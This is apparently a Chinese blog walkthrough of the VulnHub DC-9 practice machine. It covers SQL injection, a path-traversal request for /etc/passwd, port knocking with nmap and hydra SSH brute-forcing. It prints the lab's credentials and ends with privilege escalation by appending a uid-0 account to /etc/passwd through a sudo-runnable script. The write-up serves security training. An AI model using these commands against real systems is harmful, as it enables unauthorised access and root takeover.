vulnhub靶机 DC-9(渗透测试详解)

一、靶机信息收集

1、靶机下载

复制代码
https://download.vulnhub.com/dc/DC-9.zip

2、靶机IP扫描

3、探测靶机主机、端口、服务版本信息

4、靶机目录扫描

二、web渗透测试

1、访问靶机IP

查看页面功能点,发现一个搜索框和登录框

2、测试一下是否存在sql注入

查看当前数据库

进行账户密码枚举

Md5解密

尝试登录后台

看到页面中显示文件不存在,可能存在文件包含,尝试在当前url路径拼接

复制代码
?file=../../../../..//etc/passwd

尝试input方式写入木马,没有成功

3、之前扫描数据库时,发现有个users数据库,枚举出他的数据

看了文档说是要敲门,先访问配置文件/etc/knockd.conf

复制代码
敲门:敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来"关门",将端口关闭,不对外监听,进一步提升了服务和系统的安全性

然后再分别nmap扫描那三个端口,完成后再扫描22端口,就神奇的打开了

复制代码
nmap 192.168.31.161 -p 7469
nmap 192.168.31.161 -p 8475
nmap 192.168.31.161 -p 9842

再次扫描端口,发现22端口已开启

4、 将之前sql注入时得到的账号写入user.txt文件,密码写入pass.txt文件,并使用hydra工具进行爆破

复制代码
hydra -L user1.txt -P password1.txt 192.168.31.161 ssh

成功得到账户密码

5、ssh连接

经测试,只有janitor账户可以

复制代码
ssh janitor@192.168.31.161
Ilovepeepee

进入目录查看,发现存在几个密码

将其写入到 pass.txt 中,再次爆破,得到一个新的账号密码

复制代码
hydra -L user1.txt -P password1.txt 192.168.31.161 ssh
fredf:B4-Tru3-001

三、提权

1、 ssh 连接 fredf 用户,连接成功

查看当前权限

看到 /opt/devstuff/dist/test/test 能以 root 权限执行,进入目录,test 文件查看是乱码,在 /opt/devstuff 下发现 test.py

是一个脚本文件,生成一个用户,用root权限执行,将用户写入到 /etc/passwd 中

复制代码
openssl passwd -1 -salt dc9 123456

回到 /opt/devstuff/dist/test/ 目录,将账号密码写入 /tmp/dc9,再执行 test,将其写入到 /etc/passwd

复制代码
echo 'dc9:$1$dc9$3Qf9B8VT49B741CMh3R4m1:0:0::/root:/bin/bash' >> /tmp/dc9

sudo ./test /tmp/dc9 /etc/passwd

切换用户到 dc9,提权成功

相关推荐
鲸屿1953 分钟前
python之socket网络编程
开发语言·网络·python
软件测试很重要15 分钟前
UOS20系统安装与 SSH/XRDP 远程访问功能配置指南
linux·运维·ssh
天天年年天天。19 分钟前
TCP/IP、HTTP 和 HTTPS简介
网络
想睡hhh1 小时前
网络原理——传输层协议UDP
网络·网络协议·udp
GanGuaGua1 小时前
Linux系统:线程的互斥和安全
linux·运维·服务器·c语言·c++·安全
lsnm2 小时前
【LINUX网络】IP——网络层
linux·服务器·网络·c++·网络协议·tcp/ip
不掰手腕2 小时前
在UnionTech OS Server 20 (统信UOS服务器版) 上离线安装PostgreSQL (pgsql) 数据库
linux·数据库·postgresql
Lynnxiaowen2 小时前
今天继续昨天的正则表达式进行学习
linux·运维·学习·正则表达式·云计算·bash
努力学习的小廉2 小时前
深入了解linux系统—— POSIX信号量
linux·运维·服务器
刘一说3 小时前
CentOS部署ELK Stack完整指南
linux·elk·centos